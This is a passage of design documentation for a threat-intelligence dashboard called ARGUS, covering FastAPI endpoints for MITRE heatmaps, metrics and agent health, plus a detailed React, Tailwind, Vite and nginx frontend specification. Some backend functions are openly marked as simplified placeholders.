            "label": "CONTAINS"
        })

    # Note: In a full implementation, you would query Neo4j here to get the actual
    # relationships between IOCs (e.g. SHARES_ASN, DELIVERS) and add those as edges.

    return {"nodes": nodes, "edges": edges}

4. `GET /api/mitre/heatmap`

Purpose: MITRE ATT&CK Heatmap data source.

@router.get("/mitre/heatmap")
async def get_mitre_heatmap(days: int = 30, db: AsyncSession = Depends(get_db)):
    cutoff = datetime.now(timezone.utc) - timedelta(days=days)

    # This query requires unnesting the mitre_techniques JSONB array
    # We want to count how many campaigns contain each technique
    query = text("""
        SELECT 
            t->>'technique_id' as technique_id,
            t->>'technique_name' as technique_name,
            t->>'tactic' as tactic,
            COUNT(DISTINCT c.campaign_id) as campaign_count,
            AVG((t->>'confidence')::float) as avg_confidence,
            MAX(c.last_seen) as last_seen
        FROM 
            campaigns c,
            jsonb_array_elements(c.mitre_techniques) as t
        WHERE 
            c.last_seen >= :cutoff
            AND c.mitre_techniques != '[]'::jsonb
        GROUP BY 
            1, 2, 3
        ORDER BY 
            campaign_count DESC
    """)

    result = await db.execute(query, {"cutoff": cutoff})

    techniques = []
    total_observed = 0

    for row in result:
        techniques.append({
            "technique_id": row.technique_id,
            "technique_name": row.technique_name,
            "tactic": row.tactic,
            "count": row.campaign_count,
            "avg_confidence": row.avg_confidence,
            "last_seen": row.last_seen
        })
        total_observed += row.campaign_count

    return {
        "techniques": techniques,
        "total_techniques_observed": total_observed,
        "time_range_days": days
    }

5. `GET /api/metrics/summary`

Purpose: Dashboard topbar and stat cards.

@router.get("/metrics/summary")
async def get_summary_metrics(db: AsyncSession = Depends(get_db)):
    one_day_ago = datetime.now(timezone.utc) - timedelta(days=1)

    # 1. IOCs last 24h
    iocs_24h = await db.scalar(
        select(func.count(IOC.ioc_id)).where(IOC.ingested_at >= one_day_ago)
    )

    # 2. Total IOCs
    iocs_total = await db.scalar(select(func.count(IOC.ioc_id)))

    # 3. Active feeds
    active_feeds = await db.scalar(
        select(func.count(Feed.feed_id)).where(
            Feed.is_active == True,
            Feed.consecutive_failures < 3
        )
    )

    # 4. Pending reviews
    pending_reviews = await db.scalar(
        select(func.count(ThreatReport.report_id)).where(
            ThreatReport.escalation_required == True,
            # Need a status field or rely on lack of human review event
        )
    )

    # 5. Last ingested timestamp
    last_ioc = await db.execute(
        select(IOC.ingested_at).order_by(desc(IOC.ingested_at)).limit(1)
    )
    last_ts = last_ioc.scalar_one_or_none()

    return {
        "iocs_last_24h": iocs_24h,
        "iocs_total": iocs_total,
        "active_feeds": active_feeds,
        "pending_reviews": pending_reviews,
        "last_ioc_ingested_at": last_ts
    }

6. `GET /api/agents/health`

Purpose: Agent Health Monitor page.

@router.get("/agents/health")
async def get_agent_health(db: AsyncSession = Depends(get_db)):
    # 1. Get agent states from DB
    result = await db.execute(select(AgentState))
    agent_states = {state.agent_id: state for state in result.scalars().all()}

    # 2. Get Redis stream depths
    redis_client = redis.from_url(settings.redis_url)
    streams_info = {}

    stream_names = [
        "stream:raw_iocs", "stream:enriched_iocs", 
        "stream:correlation_hypotheses", "stream:mitre_annotated",
        "stream:human_review", "stream:threat_reports", "stream:feedback"
    ]

    for stream in stream_names:
        try:
            depth = await redis_client.xlen(stream)

            # Get groups to check lag
            groups = await redis_client.xinfo_groups(stream)
            max_lag = 0
            if groups:
                # Calculate lag (approximate) based on last-delivered-id
                pass # Simplified for brevity

            streams_info[stream] = {
                "name": stream,
                "depth": depth,
                "lag": max_lag,
                "dlq": 0 # Would check stream:dlq:{stream}
            }
        except redis.exceptions.ResponseError:
            # Stream might not exist yet
            streams_info[stream] = {"name": stream, "depth": 0, "lag": 0, "dlq": 0}

    await redis_client.aclose()

    # 3. Format response
    agents = []
    expected_agents = [
        "IngestorAgent", "EnrichmentAgent", "CorrelationAgent", 
        "MITREMappingAgent", "ThreatNarrativeAgent", 
        "FeedbackLearningAgent", "OrchestratorAgent"
    ]

    for agent_name in expected_agents:
        # Map agent ID to snake_case if needed
        db_id = agent_name.replace("Agent", "").lower() + "_agent"
        state = agent_states.get(db_id)

        status = "healthy"
        # Determine status based on last_updated or other logic

        agents.append({
            "agent_id": db_id,
            "name": agent_name,
            "status": status,
            "last_active": state.last_updated if state else datetime.now(timezone.utc),
            "tasks_processed": getattr(state, "predictions_made", 0) if state else 0, # Placeholder
            "reputation": getattr(state, "reputation_score", None) if state else None,
            "queue_depth": 0 # Get from related stream
        })

    return {
        "agents": agents,
        "streams": list(streams_info.values()),
        "predictions_made": sum(a["tasks_processed"] for a in agents),
        "avg_reputation": sum(a["reputation"] for a in agents if a["reputation"]) / len([a for a in agents if a["reputation"]]) if any(a["reputation"] for a in agents) else 0.7
    }

Part 4: Frontend & UI Systems

Extracted from: docs/architecture/09_FRONTEND_DASHBOARD_AND_VISUALIZATION.md

Technical Architecture 09: Frontend Dashboard & 3D Globe Visualization 📄

1. Executive Summary

The ARGUS Frontend (argus/frontend/) is a modern single-page application (SPA) built with React 18, Vite, and Tailwind CSS / Custom Glassmorphism UI Components. Designed for high-density threat surveillance, it provides real-time WebSocket data feeds, 3D geographic attack visualizations, interactive MITRE ATT&CK heatmaps, and campaign graph rendering.

2. Technology Stack & Design System

┌────────────────────────────────────────────────────────────────────────┐
│                          FRONTEND TECH STACK                           │
└────────────────────────────────────────────────────────────────────────┘
  - Framework:       React 18 (Hooks, Context, Concurrent Rendering)
  - Build Tool:      Vite 5 (Hot Module Replacement, ESM Bundling)
  - Styling:         Tailwind CSS + Vanilla Glassmorphism Token Palette
  - 3D Visualizer:   Three.js + React Three Fiber / Globe.gl
  - Graph Rendering: Force-Graph / Cytoscape
  - Icons:           Lucide React

Design Philosophy

Dark Mode First: Optimized for SOC environment screens (#0B0F19 background, high-contrast neon accents).
Glassmorphism: Backdrop blur overlays (backdrop-filter: blur(12px)), translucent panel borders.
Zero Heavy UI Libraries: Built using custom light-weight components to guarantee smooth 60 FPS performance.

3. Frontend Page Architecture

The user interface is organized into distinct functional viewports (argus/frontend/src/):

argus/frontend/src/
├── App.jsx                # Root Application Container & Providers
├── router.jsx             # React Router v6 Page Definitions
├── components/
│   ├── layout/            # AppShell, Navigation Sidebar, Header, Status Bar
│   ├── globe/             # 3D Threat Globe Component (Three.js)
│   ├── iocs/              # IOC Feed Tables, Filter Controls & Modal Details
│   ├── campaigns/         # Campaign Cards, Vector Similarity Graph & Details
│   ├── mitre/             # Interactive MITRE ATT&CK Heatmap Matrix
│   ├── reports/           # PDF Viewer, Narrative Reader & Prediction Panel
│   └── settings/          # Key Management, Feed Control Switches & Profile

4. 3D Threat Globe Visualizer

The flagship visual component of ARGUS is the interactive 3D Threat Globe (ThreatGlobe.jsx):

                           ┌───────────────────────────┐
                           │   WebGL / Three.js Canvas │
                           │   - Rotated 3D Sphere     │
                           │   - Landmass Textures     │
                           └─────────────┬─────────────┘
                                         │
                   ┌─────────────────────┴─────────────────────┐
                   ▼                                           ▼
       ┌───────────────────────┐                   ┌───────────────────────┐
       │ Geographic Points     │                   │ Animated Attack Arcs  │
       │ (Latitude, Longitude) │                   │ (Origin -> Target)    │
       └───────────────────────┘                   └───────────────────────┘

Key Globe Features

Geographic Points: Displays latitude/longitude coordinates extracted by geoip.py for ingested IP indicators.
Color-Coded Severity:
- Red: High Confidence Malicious ((S \ge 0.75))
- Amber: Medium Confidence ((0.40 \le S < 0.75))
- Blue: Low Confidence ((S < 0.40))
Animated Attack Arcs: Renders bezier 3D curves showing cyber attack vectors originating from global IOC locations toward protected infrastructure.

5. Real-Time State & WebSocket Synchronization

The dashboard maintains continuous live state using a custom WebSocket hook useWebSocket:

export function useLiveFeed() {
  const [iocs, setIocs] = useState([]);

  useEffect(() => {
    const ws = new WebSocket("ws://localhost:8000/ws/live-feed");
    ws.onmessage = (event) => {
      const newIoc = JSON.parse(event.data);
      setIocs((prev) => [newIoc, ...prev.slice(0, 99)]); // Maintain top 100
    };
    return () => ws.close();
  }, []);

  return iocs;
}

This updates table feeds, ticker metrics, and globe points instantaneously without requiring manual page reloads.

6. Interactive MITRE ATT&CK Heatmap

The MITRE matrix component (MitreHeatmap.jsx) renders a grid of 14 tactic columns (Initial Access, Execution, Persistence, etc.) and associated technique cells:

Intensity Heatmapping: Cell background opacity scales dynamically based on the frequency of detected technique instances across active campaigns.
Technique Drill-Down: Clicking a technique cell opens a detailed modal listing matched IOCs, LLM reasoning excerpts, and confidence metrics.

7. Command Palette (`Ctrl+K`)

For rapid keyboard navigation during incident triage, pressing Ctrl+K (or Cmd+K) triggers an overlay Command Palette allowing analysts to search IOCs, filter campaigns, toggle feed statuses, or navigate to settings within milliseconds.

Extracted from: docs/10_FRONTEND_ARCHITECTURE.md

ARGUS Frontend Architecture 📄

The complete specification for the React analyst & recruiter dashboard

1.1 — Overview and Philosophy

What the React frontend IS: The analyst and recruiter view — a rich, interactive dashboard where a threat analyst explores campaigns, reviews predictions, and approves escalated reports. It is also what a recruiter sees first when evaluating ARGUS as a portfolio project.

What Grafana IS: The ops view — live pipeline metrics, feed ingest rates, prediction accuracy trends. Grafana stays. It is not being replaced.

The architectural split in one sentence: Grafana shows the pipeline's health; React shows the pipeline's intelligence.

The "first impression" principle: When a recruiter opens http://localhost:5173, within 3 seconds they see: a dark, minimal dashboard with a pulsing green "LIVE" badge, animated IOC count climbing, and a stream of threat indicators sliding into view — each one tagged with a type badge and confidence bar. It looks like a CrowdStrike analyst console, not a homework assignment.

1.2 — Complete Project Structure

argus/frontend/
├── Dockerfile                          # Multi-stage: Node build → nginx serve
├── nginx.conf                          # Static files + /api proxy + SPA routing
├── package.json                        # All dependencies with pinned versions
├── vite.config.js                      # React plugin, /api proxy, /ws proxy
├── tailwind.config.js                  # Full ARGUS dark theme design system
├── postcss.config.js                   # Tailwind + Autoprefixer
├── index.html                          # Vite entry point, loads Google Fonts
└── src/
    ├── main.jsx                        # ReactDOM.createRoot, QueryClientProvider, RouterProvider
    ├── App.jsx                         # Root component with QueryClientProvider wrapper
    ├── router.jsx                      # createBrowserRouter with all 8 routes
    ├── api/                            # All API calls, one file per resource
    │   ├── client.js                   # Shared fetch wrapper with base URL, error handling
    │   ├── iocs.js                     # fetchIocs, fetchIoc, WS URL builder
    │   ├── campaigns.js                # fetchCampaigns, fetchCampaign, fetchCampaignGraph
    │   ├── reports.js                  # fetchReports, fetchReport, downloadReportPdf
    │   ├── feeds.js                    # fetchFeeds, triggerFeed, pauseFeed, resumeFeed
    │   ├── reviews.js                  # fetchPendingReviews, fetchReview, submitReview
    │   ├── agents.js                   # fetchAgentHealth
    │   ├── mitre.js                    # fetchMitreHeatmap
    │   └── metrics.js                  # fetchSummaryMetrics
    ├── hooks/                          # Custom React hooks
    │   ├── useWebSocket.js             # WebSocket with reconnection + exponential backoff
    │   ├── usePollQuery.js             # Thin wrapper around useQuery with refetchInterval
    │   ├── useCountUp.js               # Animated number counter using requestAnimationFrame
    │   ├── useLiveFeed.js              # Orchestrates WS + REST fallback for Live Feed page
    │   └── useReactFlow.js             # Fetches + transforms campaign graph for React Flow
    ├── components/
    │   ├── shared/                     # Used on multiple pages
    │   │   ├── StatCard.jsx            # Animated counter card with label, value, trend
    │   │   ├── Badge.jsx               # Pill badge for IOC types, confidence, TLP, status
    │   │   ├── IOCValue.jsx            # Monospace IOC value with copy-to-clipboard
    │   │   ├── ConfidenceBar.jsx       # Horizontal bar with colour gradient 0–1
    │   │   ├── LoadingSkeleton.jsx     # Animated grey pulse placeholder
    │   │   ├── EmptyState.jsx          # Empty state with icon, message, optional action
    │   │   ├── ErrorBoundary.jsx       # Catches render errors, shows retry
    │   │   ├── TimeAgo.jsx             # "3 minutes ago", auto-updates every 10s
    │   │   └── TechniqueTag.jsx        # MITRE technique ID badge with tooltip
    │   └── layout/                     # App shell, sidebar, topbar
    │       ├── AppShell.jsx            # Root layout: sidebar + main content area
    │       ├── Sidebar.jsx             # Nav links, logo, pipeline status indicator
    │       ├── Topbar.jsx              # Page title, last updated, live indicator, review badge
    │       └── PageWrapper.jsx         # Consistent padding, max-width, fade-in animation
    └── pages/                          # One folder per page/route
        ├── LiveFeed/
        │   ├── index.jsx               # Main Live Feed page component
        │   ├── IOCRow.jsx              # Single IOC row with highlight animation
        │   ├── IOCTypeChart.jsx        # Mini bar chart of IOC types (Recharts)
        │   └── FilterBar.jsx           # Client-side filters: type, source, confidence
        ├── Campaigns/
        │   ├── index.jsx               # Campaign Explorer: list + detail split view
        │   ├── CampaignList.jsx        # Scrollable campaign list (left panel)
        │   ├── CampaignDetail.jsx      # Full campaign detail (right panel)
        │   ├── CampaignOverview.jsx    # Overview tab content
        │   ├── CampaignIOCList.jsx     # IOC list tab content
        │   ├── CampaignMITRE.jsx       # MITRE techniques tab content
        │   └── CampaignPrediction.jsx  # Prediction tab content
        ├── ThreatReports/
        │   ├── index.jsx               # Report list + detail reader view
        │   ├── ReportList.jsx          # Report cards (left panel)
        │   └── ReportDetail.jsx        # Full report reader (right panel)
        ├── MitreHeatmap/
        │   ├── index.jsx               # Full-screen MITRE ATT&CK heatmap
        │   ├── HeatmapGrid.jsx         # The matrix grid of technique cells
        │   └── TechniquePanel.jsx      # Slide-in panel for technique detail
        ├── GraphViewer/
        │   ├── index.jsx               # React Flow canvas with campaign selector
        │   ├── GraphCanvas.jsx         # React Flow instance with custom nodes
        │   ├── IOCNode.jsx             # Custom React Flow node per IOC type
        │   ├── CampaignNode.jsx        # Custom React Flow node for campaign center
        │   ├── GraphLegend.jsx         # Node type → colour mapping legend
        │   └── NodeDetailPanel.jsx     # Slide-in panel for node enrichment data
        ├── ReviewQueue/
        │   ├── index.jsx               # Human review queue: list + review panel
        │   ├── ReviewList.jsx          # Pending review list (left panel)
        │   ├── ReviewPanel.jsx         # Full review with action buttons (right panel)
        │   └── OverrideForm.jsx        # Inline form for prediction override
        ├── AgentHealth/
        │   ├── index.jsx               # Agent health monitor: stats + cards + streams
        │   ├── AgentCard.jsx           # Individual agent status card
        │   ├── ReputationGauge.jsx     # Circular progress for reputation score
        │   ├── StreamHealthTable.jsx   # Redis stream depths table
        │   └── GroqBudgetBar.jsx       # Token usage progress bar
        └── FeedManager/
            ├── index.jsx               # Feed manager: grid of feed cards
            └── FeedCard.jsx            # Individual feed control card

1.3 — Tailwind Design System

File: `argus/frontend/tailwind.config.js`

/** @type {import('tailwindcss').Config} */
export default {
  content: [
    "./index.html",
    "./src/**/*.{js,ts,jsx,tsx}",
  ],
  theme: {
    extend: {
      colors: {
        argus: {
          // Background hierarchy (3 levels)
          bg: '#0a0a0f',           // Page background — deepest
          surface: '#111118',      // Card / panel background
          elevated: '#1a1a24',     // Elevated elements (dropdowns, modals, hover states)

          // Border
          border: '#1e1e2e',       // Default border colour
          'border-bright': '#2a2a3e', // Active/focused border

          // Accent colours
          red: '#e94560',          // Primary accent — ARGUS brand red
          'red-muted': '#e9456020', // Red background tint (for badges, highlights)
          'red-hover': '#ff5a75',  // Red hover state
          blue: '#3b82f6',         // Secondary accent — muted blue
          'blue-muted': '#3b82f620', // Blue background tint
          green: '#10b981',        // Success / healthy / confirmed
          'green-muted': '#10b98120', // Green background tint
          yellow: '#f59e0b',       // Warning / degraded / amber
          'yellow-muted': '#f59e0b20', // Yellow background tint
          orange: '#f97316',       // Hashes, medium confidence

          // Text hierarchy (4 levels)
          'text-primary': '#e4e4ef',   // Primary text — high contrast
          'text-secondary': '#a0a0b8', // Secondary text — labels, descriptions
          'text-muted': '#6b6b80',     // Muted text — timestamps, hints
          'text-disabled': '#404055',  // Disabled text
        },
      },
      fontFamily: {
        sans: ['Inter', 'system-ui', '-apple-system', 'sans-serif'],
        mono: ['JetBrains Mono', 'Fira Code', 'Consolas', 'monospace'],
      },
      animation: {
        'pulse-dot': 'pulse-dot 2s ease-in-out infinite',
        'fade-in': 'fade-in 0.3s ease-out',
        'slide-up': 'slide-up 0.3s ease-out',
        'slide-in-right': 'slide-in-right 0.3s ease-out',
        'slide-out-left': 'slide-out-left 0.3s ease-out',
        'highlight-fade': 'highlight-fade 3s ease-out',
      },
      keyframes: {
        'pulse-dot': {
          '0%, 100%': { opacity: '1', transform: 'scale(1)' },
          '50%': { opacity: '0.5', transform: 'scale(1.3)' },
        },
        'fade-in': {
          '0%': { opacity: '0' },
          '100%': { opacity: '1' },
        },
        'slide-up': {
          '0%': { opacity: '0', transform: 'translateY(10px)' },
          '100%': { opacity: '1', transform: 'translateY(0)' },
        },
        'slide-in-right': {
          '0%': { opacity: '0', transform: 'translateX(20px)' },
          '100%': { opacity: '1', transform: 'translateX(0)' },
        },
        'slide-out-left': {
          '0%': { opacity: '1', transform: 'translateX(0)' },
          '100%': { opacity: '0', transform: 'translateX(-20px)' },
        },
        'highlight-fade': {
          '0%': { backgroundColor: '#10b98115' },
          '100%': { backgroundColor: 'transparent' },
        },
      },
      spacing: {
        'sidebar': '240px',
      },
    },
  },
  plugins: [],
}

File: `argus/frontend/postcss.config.js`

export default {
  plugins: {
    tailwindcss: {},
    autoprefixer: {},
  },
}

1.4 — Package Dependencies

File: `argus/frontend/package.json`

{
  "name": "argus-frontend",
  "private": true,
  "version": "1.0.0",
  "type": "module",
  "scripts": {
    "dev": "vite",
    "build": "vite build",
    "preview": "vite preview"
  },
  "dependencies": {
    "react": "^18.3.1",
    "react-dom": "^18.3.1",
    "react-router-dom": "^6.23.1",
    "@tanstack/react-query": "^5.45.0",
    "@xyflow/react": "^12.0.4",
    "@dagrejs/dagre": "^1.1.2",
    "recharts": "^2.12.7",
    "lucide-react": "^0.383.0",
    "clsx": "^2.1.1",
    "tailwind-merge": "^2.3.0",
    "date-fns": "^3.6.0"
  },
  "devDependencies": {
    "@vitejs/plugin-react": "^4.3.1",
    "vite": "^5.3.1",
    "tailwindcss": "^3.4.4",
    "autoprefixer": "^10.4.19",
    "postcss": "^8.4.38"
  }
}

1.5 — Vite Configuration

File: `argus/frontend/vite.config.js`

import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'

export default defineConfig({
  plugins: [react()],
  server: {
    host: '0.0.0.0',
    port: 5173,
    proxy: {
      '/api': {
        target: 'http://argus-api:8000',
        changeOrigin: true,
        rewrite: (path) => path.replace(/^\/api/, ''),
      },
      '/ws': {
        target: 'ws://argus-api:8000',
        ws: true,
        rewrite: (path) => path.replace(/^\/ws/, '/ws'),
      },
    },
  },
})

Note for local development outside Docker: Change target to http://localhost:8000 and ws://localhost:8000 respectively when running Vite on the host machine without Docker.

1.6 — Docker and Compose Integration

File: `argus/frontend/Dockerfile`

## Stage 1: Build 📄
FROM node:20-alpine AS build
WORKDIR /app
COPY package.json package-lock.json* ./
RUN npm ci
COPY . .
RUN npm run build

## Stage 2: Serve 📄
FROM nginx:alpine
COPY --from=build /app/dist /usr/share/nginx/html
COPY nginx.conf /etc/nginx/conf.d/default.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

File: `argus/frontend/nginx.conf`

server {
    listen 80;
    server_name _;
    root /usr/share/nginx/html;
    index index.html;

    # Serve static files directly
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable";
    }

    # Proxy API requests to FastAPI
    location /api/ {
        proxy_pass http://argus-api:8000/;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    # Proxy WebSocket requests
    location /ws/ {
        proxy_pass http://argus-api:8000/ws/;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_set_header Host $host;
        proxy_read_timeout 86400;
    }

    # SPA fallback: all other routes → index.html
    location / {
        try_files $uri $uri/ /index.html;
    }
}

Docker Compose addition (add to root `docker-compose.yml`):

  frontend:
    build:
      context: ./argus/frontend
      dockerfile: Dockerfile
    ports: ["5173:80"]
    depends_on:
      - argus-api
    mem_limit: 128m
    restart: unless-stopped

Makefile additions (add to root `Makefile`):

## React Frontend 📄
ui:
    cd argus/frontend && npm run dev

ui-dev:
    cd argus/frontend && npm install && npm run dev

ui-build:
    cd argus/frontend && npm ci && npm run build

1.7 — App Shell (Layout Components)

`src/components/layout/AppShell.jsx`

The root layout wrapper. Renders a fixed sidebar on the left, and a scrollable main content area on the right with a topbar.

import { Outlet } from 'react-router-dom'
import Sidebar from './Sidebar'
import Topbar from './Topbar'

export default function AppShell() {
  return (
    <div className="flex h-screen bg-argus-bg text-argus-text-primary overflow-hidden">
      {/* Fixed sidebar */}
      <Sidebar />

      {/* Main content area */}
      <div className="flex-1 flex flex-col ml-[240px]">
        <Topbar />
        <main className="flex-1 overflow-y-auto">
          <Outlet />
        </main>
      </div>
    </div>
  )
}

`src/components/layout/Sidebar.jsx`

Fixed 240px left sidebar. Contains ARGUS logo, navigation links, and pipeline health indicator at bottom.

Navigation items (exact list with Lucide icon names):

Label	Route	Lucide Icon
Live Feed	`/live-feed`	`Radio`
Campaigns	`/campaigns`	`Target`
Reports	`/reports`	`FileText`
MITRE ATT&CK	`/mitre`	`Grid3x3`
Graph	`/graph`	`Network`
Review Queue	`/reviews`	`ClipboardCheck`
Agent Health	`/agents`	`Activity`
Feed Manager	`/feeds`	`Rss`

Active state: Left border border-l-2 border-argus-red, background bg-argus-elevated.

Logo: The text "ARGUS" in font-bold text-xl tracking-wider with the "A" in text-argus-red and the rest in text-argus-text-primary. Below the logo, a horizontal red bar h-0.5 w-12 bg-argus-red.

Pipeline status indicator (bottom of sidebar): A small row showing a coloured dot and "Pipeline: Healthy" / "Pipeline: Degraded" / "Pipeline: Failing". Fetches from GET /api/agents/health every 30 seconds via usePollQuery. Logic:

All agents have status === 'healthy' → green dot + "Healthy"
Any agent has status === 'degraded' → amber dot + "Degraded"
Any agent has status === 'failed' → red dot + "Failing"

Skeleton structure:

<aside className="fixed left-0 top-0 h-screen w-[240px] bg-argus-surface border-r border-argus-border flex flex-col z-50">
  {/* Logo section */}
  <div className="p-6 border-b border-argus-border">
    <h1 className="text-xl font-bold tracking-wider">
      <span className="text-argus-red">A</span>RGUS
    </h1>
    <div className="h-0.5 w-12 bg-argus-red mt-2" />
  </div>

  {/* Navigation */}
  <nav className="flex-1 py-4 px-3 space-y-1">
    {/* NavLink items rendered here */}
  </nav>

  {/* Pipeline status */}
  <div className="p-4 border-t border-argus-border">
    {/* Status dot + label */}
  </div>
</aside>

`src/components/layout/Topbar.jsx`

Horizontal bar above the main page content. Contains:

Left: Page title — dynamically derived from the current route using a lookup map:
- /live-feed → "Live Feed"
- /campaigns → "Campaign Explorer"
- /reports → "Threat Reports"
- /mitre → "MITRE ATT&CK Heatmap"
- /graph → "Graph Viewer"
- /reviews → "Review Queue"
- /agents → "Agent Health"
- /feeds → "Feed Manager"
Right side (flex row, gap-4, items-center):
1. Last updated timestamp: Shows TimeAgo component with the most recent last_ioc_ingested_at from GET /api/metrics/summary. Styled: text-argus-text-muted text-sm.
2. Live indicator dot: A w-2 h-2 rounded-full dot. Green (bg-argus-green animate-pulse-dot) when WebSocket is connected (on Live Feed page) or when data is fresh (last IOC < 60s ago). Grey (bg-argus-text-disabled) otherwise.
3. Notification badge: Count of pending reviews from GET /api/metrics/summary field pending_reviews. Rendered as a bg-argus-red text-white text-xs rounded-full px-2 py-0.5 badge next to a Bell icon. Clicking navigates to /reviews. Hidden when count is 0.

Skeleton structure:

<header className="h-14 border-b border-argus-border bg-argus-surface flex items-center justify-between px-6 shrink-0">
  <h2 className="text-lg font-semibold">{pageTitle}</h2>
  <div className="flex items-center gap-4">
    {/* Last updated */}
    {/* Live dot */}
    {/* Review badge */}
  </div>
</header>

`src/components/layout/PageWrapper.jsx`

Wraps every page component. Adds consistent padding, max-width constraint, and a fade-in animation.

export default function PageWrapper({ children, fullWidth = false }) {
  return (
    <div className={`animate-fade-in p-6 ${fullWidth ? '' : 'max-w-[1600px] mx-auto'}`}>
      {children}
    </div>
  )
}

Props:

children — page content
fullWidth — boolean, default false. When true, removes max-width constraint (used by Graph Viewer and MITRE Heatmap which need full screen).

1.8 — Shared Components

`src/components/shared/StatCard.jsx`

An animated counter card for displaying key metrics.

Props (JSDoc):

/**
 * @param {object} props
 * @param {string} props.label - The metric label (e.g. "IOCs Today")
 * @param {number} props.value - The numeric value to display
 * @param {string} [props.icon] - Lucide icon name to render
 * @param {'red'|'blue'|'green'|'yellow'|'default'} [props.variant='default'] - Colour variant
 * @param {string} [props.suffix] - Text after the number (e.g. "%")
 * @param {string} [props.trend] - Trend indicator: "up", "down", or null
 */

Behaviour: Uses useCountUp hook to animate the value. The number counts up from the previous value to the new value over 600ms whenever value changes.

Layout: bg-argus-surface border border-argus-border rounded-lg p-4. Icon top-left in the variant colour. Label in text-argus-text-secondary text-sm. Value in text-2xl font-bold font-mono. Trend arrow (if provided) in green (up) or red (down).

`src/components/shared/Badge.jsx`

A pill-shaped badge for IOC types, status, confidence levels, TLP markings.

Props:

/**
 * @param {object} props
 * @param {string} props.children - Badge text
 * @param {'red'|'blue'|'green'|'yellow'|'orange'|'grey'|'default'} [props.variant='default']
 * @param {'sm'|'md'} [props.size='sm'] - sm = text-xs, md = text-sm
 */

Colour map:

red → bg-argus-red-muted text-argus-red
blue → bg-argus-blue-muted text-argus-blue
green → bg-argus-green-muted text-argus-green
yellow → bg-argus-yellow-muted text-argus-yellow
orange → bg-orange-500/20 text-orange-400
grey → bg-argus-elevated text-argus-text-muted
default → bg-argus-elevated text-argus-text-secondary

IOC type → badge variant mapping (used throughout the app):

ipv4, ipv6 → red
domain → blue
url → blue
sha256, sha1, md5 → orange
cve → yellow
email → grey

`src/components/shared/IOCValue.jsx`

Renders an IOC value in monospace font with a copy button.

Props:

/**
 * @param {object} props
 * @param {string} props.value - The IOC value string
 * @param {number} [props.maxLength=40] - Truncate with ellipsis if longer
 */

Layout: Inline-flex. Value in font-mono text-sm text-argus-text-primary. On hover, a Copy icon (from Lucide) appears to the right. Clicking copies value to clipboard and briefly shows a Check icon for 1.5 seconds.

`src/components/shared/ConfidenceBar.jsx`

Horizontal bar showing confidence 0–1.

Props:

/**
 * @param {object} props
 * @param {number} props.value - Confidence score 0–1
 * @param {boolean} [props.showLabel=true] - Show percentage label to the right
 */

Layout: Container h-2 bg-argus-elevated rounded-full overflow-hidden. Inner bar width = value * 100%. Colour: value >= 0.7 → bg-argus-green, value >= 0.4 → bg-argus-yellow, else → bg-argus-red.

`src/components/shared/LoadingSkeleton.jsx`

Animated skeleton placeholder.

Props:

/**
 * @param {object} props
 * @param {'card'|'row'|'text'|'chart'} [props.variant='text']
 * @param {number} [props.count=1] - Number of skeleton items to render
 */

Layout: animate-pulse bg-argus-elevated rounded. Different dimensions per variant:

text → h-4 w-full rounded (for text lines)
card → h-32 w-full rounded-lg (for stat cards)
row → h-12 w-full rounded (for table rows)
chart → h-64 w-full rounded-lg (for chart areas)

`src/components/shared/EmptyState.jsx`

Shown when a page or panel has no data.

Props:

/**
 * @param {object} props
 * @param {string} props.icon - Lucide icon name
 * @param {string} props.title - Primary message (e.g. "No campaigns yet")
 * @param {string} [props.description] - Secondary explanation
 * @param {string} [props.actionLabel] - Button text (e.g. "Run Demo")
 * @param {function} [props.onAction] - Button click handler
 */

Layout: Centred vertically and horizontally. Icon in text-argus-text-muted at 48px. Title in text-lg text-argus-text-secondary mt-4. Description in text-sm text-argus-text-muted mt-2. Action button (if provided) in mt-4 px-4 py-2 bg-argus-red text-white rounded-lg hover:bg-argus-red-hover transition-colors.

`src/components/shared/ErrorBoundary.jsx`

React error boundary. Catches render errors in child components.

Implementation: Class component (error boundaries require componentDidCatch). Displays: an AlertTriangle icon, "Something went wrong" heading, the error message in font-mono text-sm text-argus-text-muted, and a "Try Again" button that calls this.setState({ hasError: false }).

Layout: Centred in the content area. bg-argus-surface border border-argus-border rounded-lg p-8.

`src/components/shared/TimeAgo.jsx`

Renders a relative timestamp that auto-updates.

Props:

/**
 * @param {object} props
 * @param {string|Date} props.timestamp - ISO datetime string or Date object
 * @param {string} [props.className] - Additional CSS classes
 */

Behaviour: Uses date-fns/formatDistanceToNow to render "3 minutes ago", "just now", etc. Sets a setInterval every 10 seconds to re-render. Clears interval on unmount.

`src/components/shared/TechniqueTag.jsx`

Renders a MITRE technique ID as a styled badge with tooltip.

Props:

/**
 * @param {object} props
 * @param {string} props.techniqueId - e.g. "T1566.001"
 * @param {string} [props.techniqueName] - e.g. "Spearphishing Attachment"
 * @param {number} [props.confidence] - 0–1, adds a subtle confidence indicator
 */

Layout: inline-flex items-center gap-1 bg-argus-elevated border border-argus-border rounded px-2 py-0.5 text-xs font-mono. The technique ID in text-argus-text-primary. On hover, if techniqueName is provided, show a tooltip (CSS-only, using group + group-hover:visible pattern) with the full technique name.

1.9 — Custom Hooks

`src/hooks/useWebSocket.js`

Manages a WebSocket connection with automatic reconnection.

Parameters:

/**
 * @param {string} url - WebSocket URL (e.g. "/ws/live-feed")
 * @param {object} options
 * @param {function} options.onMessage - Called with parsed JSON data for each message
 * @param {function} [options.onOpen] - Called when connection opens
 * @param {function} [options.onClose] - Called when connection closes
 * @param {function} [options.onError] - Called on error
 * @param {number} [options.reconnectDelay=1000] - Initial reconnect delay in ms
 * @param {number} [options.maxReconnects=5] - Maximum reconnection attempts
 * @param {boolean} [options.enabled=true] - Whether to connect
 */

Returns:

/**
 * @returns {{ status: 'connecting'|'connected'|'disconnected'|'error', send: function, disconnect: function }}
 */

Implementation notes:

Store the WebSocket instance in a useRef (not useState — avoids stale closures in event handlers)
Store reconnect attempt count in a useRef
On close (if not intentional): wait reconnectDelay * 2^attempt ms (exponential backoff), cap at 30000ms, attempt reconnect
After maxReconnects failures, set status to 'error' and stop trying
